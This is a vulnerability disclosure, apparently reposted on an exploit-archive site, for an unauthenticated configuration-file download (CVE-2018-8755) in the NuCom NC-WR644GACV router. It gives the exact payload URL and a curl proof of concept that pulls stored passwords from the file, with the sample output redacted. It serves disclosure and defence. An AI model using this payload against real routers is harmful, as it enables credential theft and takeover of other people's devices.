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NuCom NC-WR644GACV Unauthenticated Configuration File Download Vulnerability
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Overview ======== Researchers of NVEL4 Cybersecurity company have discovered that it is possible to access to the config file bypassing admin authentication and authorization. The vulnerability has been reported to the vendor. The vendor has confirmed the vulnerability but not issued to security advisory. The recommendation to affected users is to update to the latest available version and change the credentials used, since they could have been extracted. Some NuCom routers are exposed to internet. Product Details ============= * Type: Router / Access Point (Wireless Dual Band Gigabit VoIP Router) * Vendor: NuCom * Model Name: NC-WR644GACV * Vulnerable Software Version: <= STA 005 * Fixed Software Version: STA 006 Vulnerability Details =================== * CVE: 2018-8755 * Name: Unauthenticated Configuration File Download * Type: Authentication / Authorization Bypass * Description: An unauthorizated user can download config file by accessing to the URL directly * Payload: http://[hostname]/cgi-bin/config_download.cgi?action=download * Impact: By downloading the config file an attacker can read all password stored in plain-text and base64 then access vie web as administrator and gain privileged control of the device. * CVSS v3 Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N * CVSS v3 Score: 7.5 PoC ==== zerial@home:~$ curl -s "http://vulnerable.hostname/ cgi-bin/config_download.cgi?action=download"|strings|grep -i password InternetGatewayDevice.X_CT-COM_UserInfo.UserList.1.Password_realtext=[PLAIN PASSWORD HERE] InternetGatewayDevice.WANDevice.2.WANConnectionDevice.1. WANPPPConnection.1.Password=[BASE64 PASSWORD HERE] InternetGatewayDevice.X_CT-COM_UserInfo.UserList.2.Password_realtext=[PLAIN TEXT PASSWORD HERE] InternetGatewayDevice.LANDevice.1.WLANConfiguration.5.WPS.PeerPassword=[PLAIN TEXT PASSWORD HERE] InternetGatewayDevice.X_CT-COM_UserInfo.UserList.1.Password=[SHA256 PASSWORD HERE] InternetGatewayDevice.X_CT-COM_UserInfo.UserList.2.Password=[SHA256 PASSWORD HERE] InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.WPS.PeerPassword=[PLAIN TEXT PASSWORD HERE] InternetGatewayDevice.ManagementServer.Password=[BASE64 PASSWORD HERE] InternetGatewayDevice.ManagementServer.ConnectionRequestPassword=[BASE64 PASSWORD HERE] zerial@home:~$ *** Sensitive information has been removed and replaced by [...] # 0day.today [2024-11-15] #